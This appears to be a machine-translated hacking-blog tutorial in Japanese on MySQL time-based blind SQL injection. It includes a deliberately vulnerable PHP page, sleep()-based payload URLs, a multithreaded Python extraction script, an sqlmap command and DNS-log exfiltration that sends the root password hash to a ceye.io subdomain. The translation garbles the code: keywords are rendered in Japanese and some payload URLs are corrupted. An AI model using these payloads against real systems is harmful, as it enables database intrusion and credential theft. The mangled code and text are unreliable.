Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86386839

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00インジェクションの定義遅延

遅延注射は盲検注射方法です。実行時間の関数SQLステートメントを送信し、実行時間の長さによって実行が成功するかどうかを判断します。たとえば、が正しい場合、それは長い時間を引き起こし、間違っている場合、それは短い実行時間を引き起こします。これはいわゆる高度な盲目の注射です。 SQLMAP、パンゴリン、ニンジンなどの主流の注入ツールは検出されず、手動でのみ検出でき、結果はスクリプトプログラムを使用して取得されます。

0x01注入関数の遅延

Sleep()//遅延機能

if(条件、true、false)

//条件文

ascii()

//ASCIIコードに変換します

サブストリング( 'strant'、strart、length)

//同じことがmid()に当てはまり、文字列の開始ビットと文字の長さを取り出します

if expression:if(expr1、expr2、expr3)

expr1が真である場合

(expr1 0およびexpr1 null)、if()の戻り値はexpr2です。それ以外の場合、返品値はexpr3です

ミッド関数:MID(column_name、start [、length])

column_name

必須。キャラクターを抽出するフィールド。

始める

必須。開始位置を指定します(開始値は1)。

長さ

オプション。返す文字の数。省略した場合、Mid()関数は残りのテキストを返します。

遅延インジェクションの原則は、爆発する情報のASCIIコードが正しい場合、遅延が発生し、それ以外の場合は遅延がないということです。

0x02実際の列の注入の遅延

1。時間遅延噴射コード

が含まれています

yanchi.php:

?php

ヘッダー( 'Content-Type:Text/html; charset=utf8');

$ link=mysql_connect( 'localhost'、 'root'、 'root');

mysql_select_db( 'mysql'、$ link);

mysql_set_charset( 'utf8');

$ sql='ユーザーからユーザーを選択します。ユーザー=' {$ _ get ['username']} '';

echo $ sql;

$ query=mysql_query($ sql);

エコー 'これは時間のブロードです';

2手動検査遅延インジェクション

http://10.0.0.21/yanci.php?username=root 'および睡眠(5)%23

または

http://10.0.0.21/yanci.php?username=root 'およびsleep(5)および' xrsl '=' xrsl#

または

http://10.0.0.21/yanci.php?username=root 'およびif(ascii(subst(database()、1,1))=114,1、sleep(5))#

注入がある場合、遅延時間が長くなります。

g4ngouwz2zj8690.jpg

3。 Pythonスクリプトを実行します(ユーザー名はこちらで実行されます)

#!/usr/bin/env python

# - * - coding: utf-8-* -

urllib2をインポートします

インポート時間

ソケットをインポートします

スレッドをインポートします

リクエストをインポートします

クラスmy_threading(threading.thread):

def __init __(self、str、x):

threading.thread .__ init __(self)

self.str=str

self.x=x

def run(self):

グローバル解像度

x=self.x

j=self.str

url='http://10.0.0.21/yanci.php?username=root' + + + + + fid ext' + fid%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29、 ' + sr(x) +') '、1%29%29、睡眠%282%29,0%29%23'

html=request(url)

verify='timeout'

html:にない場合

res [str(j)]=0

#print 1

else:

res [str(j)]=1

def request(url):

user_agent={'user-agent' : 'mozilla/5.0(macintosh; intel mac os x 10_7_3)applewebkit/534.55.3(khtml、geckoのような)バージョン/5.1.3サファリ/534.53.10'}

req=urllib2.request(url、none、user_agent)

try:

request=urllib2.urlopen(req、timeout=2)

例外を除き、E:

time.sleep(2)

「タイムアウト」を返す

return request.read()

def curl(url):

try:

start=time.clock()

requests.get(url)

end=time.clock()

return int(end)

requests.requestexception as e:を除く

u'erroryを印刷!」

出口()

def getLength():

i=0

true:

印刷'[+]チェック:%s \ r'%i

url='http://10.0.0.21/yanci.php?username=root'++sleep(if(length( olengtom (select%20user()))(Select%20User()

html=request(url)

verify='timeout'

html:で確認する場合

印刷'[+]長さ:%s'%i

私を返します

i=i + 1

def bin2dec(string_num):

return int(string_num、2)

def getdata(datalength):

グローバル解像度

データ=''

範囲のx(datalength):

x=x + 1

#print x

スレッド=[]

範囲(8):のJの場合

結果=''

j=j + 1

sb=my_threading(j、x)

sb.setdaemon(true)

threads.append(sb)

#print j

Threads:のtの場合

t.start()

Threads:のtの場合

T.Join()

#print res

TMP=''

範囲(8):のIの場合

tmp=tmp + str(res [str(i + 1)])

#print chr(bin2dec(tmp))

res={}

result=chr(bin2dec(tmp))

印刷結果

data=data + result

sb=none

印刷'[+] ok!'

print '[ +] result:' +データ

__name__=='__main __' :の場合

stop=false

res={}

length=getLength()

getData(長さ)

2.jpg

4。遅延インジェクションのsqlmap sqlmap.py -r q1.txt - dbms=mysql - -time -sec=5

5。 DNSログロギング

を介してブラインドを注入します

(1)ユーザー名ルートのパスワードを取得します

http://10.0.0.21/yanci.php?username=root 'およびif(select load_file(concat(' \\\\ '、(select concat(user、' _ '、mid(password、2,41))user user=' root 'lime 1)、'。

(2)DNSログレコードは:です。ここでは、http://CEYEE.IOのDNSレコードを使用して注入します。

kzj2p5b4v3f8692.jpg

pogloav51ai8693.jpg

(3)ユーザー名ルートパスワードの16進数を取得する

http://10.0.0.21/yanci.php?username=root 'and if((select load_file(' \\\\ '、(select hex(user()))、'。89mxv7.ceye.io\\ foobar '))、1,1)#)#)

DNSレコードは次のとおりです。

gbbx0035mgx8694.jpg

(4)Xiaokuiツールのクエリを取得します。

ll5xzrqsccd8695.jpg